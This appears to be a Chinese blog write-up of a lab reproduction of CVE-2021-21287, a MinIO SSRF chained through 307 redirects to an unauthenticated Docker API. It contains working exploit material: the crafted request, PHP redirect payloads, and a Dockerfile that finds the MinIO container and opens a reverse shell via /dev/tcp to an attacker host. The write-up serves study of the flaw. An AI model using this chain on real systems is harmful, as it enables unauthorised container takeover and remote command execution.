CVE-2021-21287

前言

P牛的CVE整个过程一气呵成,文章写的也是深入浅出,爱了爱了
学习下这个
此前点一些较为基础但要知道的东西
docker的通信->未授权访问
docker开了一个2375端口,一般来讲

1
docker  -H tcp://127.0.0.1:2375 images

会列下这个docker的镜像
即,如果这个2375端口开放,且能够被我们利用某种手段访问到的话,此时仅限GET型,就会存在一个未授权访问,造成了简单的信息泄露
比如/version,/image/json,/containers/json等等

但是,我们想要实现rce呢?
我们知道可以用docker run、docker exec命令来执行命令,如果条件满足,我们同样可以利用2375端口去执行一些docker的操作,比如命令执行?

  • SSRF
  • 恶意请求:从GET型到POST型再到携带特定请求体的攻击,整个过程也是重点
  • 等等
    这个CVE很有意思~

影响版本

MinIO < RELEASE.2021-01-30T00-20-58Z

关键

1
2
MinIO 组件中 LoginSTS 接口其实是 AWS STS 登录接口的一个代理,用于将发送到 JsonRPC 的请求转变成 STS 的方式转发给本地的 9000 端口.
由于逻辑设计不当,MinIO 会将用户发送的 HTTP 头 Host 中获取到地址作为 URL 的 Host 来构造新的 URL,但由于请求头是用户可控的,所以可以构造任意的 Host,最终导致存在 SSRF 漏洞.

docker未授权访问

在完全复现之前,我们测一下这个漏洞,看一下,未授权访问下,可以进行哪些攻击

1
2
vulhub/docker/unauthorized-rce  
docker-compose up -d

了解一下相关api
https://docker.cadn.net.cn/reference/api_engine_version_v1.24
移步(“记docker未授权访问学习”)~

攻击流程

本次CVE针对MinIO(一款支持部署在私有云的开源对象存储系统)
我们借助某个点进行SSRF,访问内网的2375端口,进而执行docker的操作,进入minio容器内,执行命令

1
2
3
4
5
6
7
MinIO运行在一个小型Docker集群(swarm)中

MinIO开放默认的9000端口,外部可以访问,地址为http://192.168.227.131:9000,但是不知道账号密码

192.168.227.131这台主机是CentOS系统,默认防火墙开启,外部只能访问9000端口,dockerd监听在内网的2375端口(其实这也是一个swarm管理节点,swarm监听在2377端口)

MinIO虽然是运行的一个service,但实际上就只有一个容器。

步骤一:环境搭建

docker配置

我们先让我们的docker从2375端口开放
这里我们是改sudo vim /etc/docker/daemon.json
添上

1
"hosts": ["tcp://0.0.0.0:2375", "unix:///var/run/docker.sock"]

然后就可以通过api进行docker使用了

MinIo配置

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
version: '3.7'
services:
minio1:
image: minio/minio:RELEASE.2021-01-16T02-19-44Z
volumes:
- data1-1:/data1
- data1-2:/data2
ports:
- "9009:9000"
environment:
MINIO_ACCESS_KEY: minio
MINIO_SECRET_KEY: minio123
command: server http://minio{1...4}/data{1...2}
healthcheck:
test: ["CMD", "curl", "-f", "http://localhost:9000/minio/health/live"]
interval: 30s
timeout: 20s
retries: 3

## By default this config uses default local driver,
## For custom volumes replace with volume driver configuration.
volumes:
data1-1:
data1-2:

docker-compose up -d
访问9009端口,存在服务

SSRF

审计源码,发现这一块存在漏洞

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
// LoginSTS - STS user login handler.
func (web *webAPIHandlers) LoginSTS(r *http.Request, args *LoginSTSArgs, reply *LoginRep) error {
ctx := newWebContext(r, args, "WebLoginSTS")

v := url.Values{}
v.Set("Action", webIdentity)
v.Set("WebIdentityToken", args.Token)
v.Set("Version", stsAPIVersion)

scheme := "http"
if sourceScheme := handlers.GetSourceScheme(r); sourceScheme != "" {
scheme = sourceScheme
}
if globalIsTLS {
scheme = "https"
}

u := &url.URL{
Scheme: scheme,
Host: r.Host,
}

u.RawQuery = v.Encode()

req, err := http.NewRequest(http.MethodPost, u.String(), nil)
if err != nil {
return toJSONError(ctx, err)
}

clnt := &http.Client{
Transport: NewGatewayHTTPTransport(),
}
resp, err := clnt.Do(req)
if err != nil {
return toJSONError(ctx, err)
}
defer xhttp.DrainBody(resp.Body)

if resp.StatusCode != http.StatusOK {
return toJSONError(ctx, errors.New(resp.Status))
}

a := AssumeRoleWithWebIdentityResponse{}
if err = xml.NewDecoder(resp.Body).Decode(&a); err != nil {
return toJSONError(ctx, err)
}

reply.Token = a.Result.Credentials.SessionToken
reply.UIVersion = browser.UIVersion
return nil
}

接口/minio/webrpc,实现在cmd\web-handlers.go
这里MinIO为了将请求转发给“自己”,就从用户发送的HTTP头Host中获取到“自己的地址”,并将其作为URL的Host构造了新的URL

1
2
3
4
5
6
7
POST /minio/webrpc HTTP/1.1
Host: 127.0.0.1:4443
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.141 Safari/537.36
Content-Type: application/json
Content-Length: 76

{"id":1,"jsonrpc":"2.0","params":{"token": "Test"},"method":"web.LoginSTS"}

而我们可以控制Host,进而造成了ssrf

1
2
3
4
5
6
7
root@vultr:~# nc -lvnp 4443
Listening on 0.0.0.0 4443
Connection received on xxxxxxxx
POST /?Action=AssumeRoleWithWebIdentity&Version=2011-06-15&WebIdentityToken=Test HTTP/1.1
Host: 68.232.175.221:4443
User-Agent: Go-http-client/1.1
Content-Length: 0

发现成功能够访问外网了()
这里再利用302跳转,成功访问到内网(Go-http支持)

1
2
<?php
header('Location: http://192.168.1.142:4444/attack?arbitrary=params');

这里跳转之后只是get,而我们想要实现exec的api,需要post携带请求体

1
2
想到了307跳转,307跳转是在RFC 7231中定义的一种HTTP状态码
307跳转的特点就是不会改变原始请求的方法

使用307,完美继承了发出的POST,并使用POST方式进行请求
现在我们还能传请求体吗?

1
2
<?php
header('Location: http://192.168.1.142:4444/attack?arbitrary=params', false, 307);

这里P牛熟读API,给了一个解决方法
https://docs.docker.com/reference/api/engine/version/v1.41/#tag/Image/operation/ImageBuild

1
2
remote	
A Git repository URI or HTTP/HTTPS context URI. If the URI points to a single text file, the file’s contents are placed into a file called Dockerfile and the image is built from that file. If the URI points to a tarball, the file is downloaded by the daemon and the contents therein used as the context for the build. If the URI points to a tarball and the dockerfile parameter is also specified, there must be a file with the corresponding path inside the tarball.

我们vps上写一个dockerfile

1
2
FROM alpine:3.13
RUN wget -T4 http://192.168.1.142:4444/docker/build

重定向改成

1
2
<?php
header('Location: http://192.168.227.131:2375/build?remote=http://192.168.1.142:4443/Dockerfile&nocache=true&t=evil:1', false, 307);

这样远程build,直接可以执行命令,完全不需要我们之前预想的通过控制请求包再进行RCE了
这里P牛给了一个脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
FROM alpine:3.13

RUN apk add curl bash jq

RUN set -ex && \
{ \
echo '#!/bin/bash'; \
echo 'set -ex'; \
echo 'target="http://192.168.227.131:2375"'; \
echo 'jsons=$(curl -s -XGET "${target}/containers/json" | jq -r ".[] | @base64")'; \
echo 'for item in ${jsons[@]}; do'; \
echo ' name=$(echo $item | base64 -d | jq -r ".Image")'; \
echo ' if [[ "$name" == *"minio/minio"* ]]; then'; \
echo ' id=$(echo $item | base64 -d | jq -r ".Id")'; \
echo ' break'; \
echo ' fi'; \
echo 'done'; \
echo 'execid=$(curl -s -X POST "${target}/containers/${id}/exec" -H "Content-Type: application/json" --data-binary "{\"Cmd\": [\"bash\", \"-c\", \"bash -i >& /dev/tcp/192.168.1.142/4444 0>&1\"]}" | jq -r ".Id")'; \
echo 'curl -s -X POST "${target}/exec/${execid}/start" -H "Content-Type: application/json" --data-binary "{}"'; \
} | bash

直接找这个容器进去,在里面控制API,进行这个容器的反弹shell
感觉还是很有意思的 也算是第一次接触docker、容器、云等
学到新东西了